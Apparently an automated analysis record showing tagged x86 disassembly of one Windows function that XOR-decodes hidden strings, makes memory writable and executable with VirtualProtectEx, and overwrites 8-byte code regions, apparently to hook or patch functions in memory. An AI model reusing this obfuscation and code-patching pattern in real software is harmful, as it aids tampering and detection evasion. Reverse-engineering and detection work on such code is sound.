Function at 0x5a3d70
Capabilities:
Allocate or change rwx memory
Check os version
Encode data using xor
Execute shellcode via indirect call

Disassembly:
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0xd14b40], eax
xor eax, eax
push ebx
mov bl, byte [eax + 0x67567c]
xor bl, 0xaa
mov byte [eax + 0x67567c], bl
inc eax
cmp eax, 0xc
jb 0x5a3d81
xor eax, eax
mov bl, byte [eax + 0x6756a4]
xor bl, 0xaa
mov byte [eax + 0x6756a4], bl
inc eax
cmp eax, 0x17
jb 0x5a3d98
push ebp
push esi
push edi
push 8
push 0xd14aa8
push 0xd14b3c
push 0x6756a4
push 0x67567c
call fcn.005a2fe0
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add esp, 0x14
test eax, eax
je 0x5a3e41
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a3df9
push 8
push 0xd14aa8
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a3e41
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x28], 8
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], ecx
call ebx
mov esi, 0xd14aa8
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push edx
call ebx
xor eax, eax
mov cl, byte [eax + 0x6756a4]
xor cl, 0xaa
mov byte [eax + 0x6756a4], cl
inc eax
cmp eax, 0x17
jb 0x5a3e43
xor eax, eax
mov cl, byte [eax + 0x6756c8]
xor cl, 0xaa
mov byte [eax + 0x6756c8], cl
inc eax
cmp eax, 0xb
jb 0x5a3e5a
push 8
push 0xd14ab0
push 0xd14b3c
push 0x6756c8
push 0x67567c
call fcn.005a2fe0
add esp, 0x14
test eax, eax
je 0x5a3efa
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a3eb2
push 8
push 0xd14ab0
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a3efa
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ecx
call ebx
mov esi, 0xd14ab0
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push edx
call ebx
xor eax, eax
mov cl, byte [eax + 0x6756c8]
xor cl, 0xaa
mov byte [eax + 0x6756c8], cl
inc eax
cmp eax, 0xb
jb 0x5a3efc
xor eax, eax
mov cl, byte [eax + 0x67574c]
xor cl, 0xaa
mov byte [eax + 0x67574c], cl
inc eax
cmp eax, 0x10
jb 0x5a3f13
push 8
push 0xd14ac0
push 0xd14b3c
push 0x67574c
push 0x67567c
call fcn.005a2fe0
add esp, 0x14
test eax, eax
je 0x5a3fb3
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a3f6b
push 8
push 0xd14ac0
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a3fb3
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ecx
call ebx
mov esi, 0xd14ac0
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push edx
call ebx
xor eax, eax
mov cl, byte [eax + 0x67574c]
xor cl, 0xaa
mov byte [eax + 0x67574c], cl
inc eax
cmp eax, 0x10
jb 0x5a3fb5
xor eax, eax
mov cl, byte [eax + 0x675760]
xor cl, 0xaa
mov byte [eax + 0x675760], cl
inc eax
cmp eax, 0x11
jb 0x5a3fcc
push 8
push 0xd14ac8
push 0xd14b3c
push 0x675760
push 0x67567c
call fcn.005a2fe0
add esp, 0x14
test eax, eax
je 0x5a406c
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a4024
push 8
push 0xd14ac8
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a406c
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ecx
call ebx
mov esi, 0xd14ac8
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push edx
call ebx
xor eax, eax
mov cl, byte [eax + 0x675760]
xor cl, 0xaa
mov byte [eax + 0x675760], cl
inc eax
cmp eax, 0x11
jb 0x5a406e
xor eax, eax
mov cl, byte [eax + 0x675774]
xor cl, 0xaa
mov byte [eax + 0x675774], cl
inc eax
cmp eax, 0x12
jb 0x5a4085
push 8
push 0xd14ad0
push 0xd14b3c
push 0x675774
push 0x67567c
call fcn.005a2fe0
add esp, 0x14
test eax, eax
je 0x5a4125
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a40dd
push 8
push 0xd14ad0
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a4125
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ecx
call ebx
mov esi, 0xd14ad0
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push edx
call ebx
xor eax, eax
mov cl, byte [eax + 0x675774]
xor cl, 0xaa
mov byte [eax + 0x675774], cl
inc eax
cmp eax, 0x12
jb 0x5a4127
xor eax, eax
mov cl, byte [eax + 0x67567c]
xor cl, 0xaa
mov byte [eax + 0x67567c], cl
inc eax
cmp eax, 0xc
jb 0x5a413e
xor eax, eax
mov cl, byte [eax + 0x675698]
xor cl, 0xaa
mov byte [eax + 0x675698], cl
inc eax
cmp eax, 0xa
jb 0x5a4155
xor eax, eax
mov cl, byte [eax + 0x675788]
xor cl, 0xaa
mov byte [eax + 0x675788], cl
inc eax
cmp eax, 4
jb 0x5a416c
push 8
push 0xd14ad8
push 0xd14b3c
push 0x675788
push 0x675698
call fcn.005a2fe0
add esp, 0x14
test eax, eax
je 0x5a420c
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a41c4
push 8
push 0xd14ad8
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a420c
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ecx
call ebx
mov esi, 0xd14ad8
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push edx
call ebx
xor eax, eax
mov bl, byte [eax + 0x675788]
xor bl, 0xaa
mov byte [eax + 0x675788], bl
inc eax
cmp eax, 4
jb 0x5a420e
xor eax, eax
mov bl, byte [eax + 0x675790]
xor bl, 0xaa
mov byte [eax + 0x675790], bl
inc eax
cmp eax, 4
jb 0x5a4225
push 8
push 0xd14ae0
push 0xd14b3c
push 0x675790
push 0x675698
call fcn.005a2fe0
add esp, 0x14
test eax, eax
je 0x5a42c7
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
mov eax, dword [0xd14b3c]
jns 0x5a427d
push 8
push 0xd14ae0
push eax
call fcn.005a3250
add esp, 0xc
jmp 0x5a42c7
mov ecx, dword [0xd14b40]
lea edx, [esp + 0x10]
push edx
push 0x40
push 8
mov ebp, eax
push eax
push ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x2c], ebp
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, 0xd14ae0
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push ecx
push 8
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
pop edi
pop esi
xor eax, eax
pop ebp
mov bl, byte [eax + 0x675790]
xor bl, 0xaa
mov byte [eax + 0x675790], bl
inc eax
cmp eax, 4
jb 0x5a42cc
xor eax, eax
mov bl, byte [eax + 0x675698]
xor bl, 0xaa
mov byte [eax + 0x675698], bl
inc eax
cmp eax, 0xa
jb 0x5a42e3
mov eax, 1
pop ebx
add esp, 0x10
ret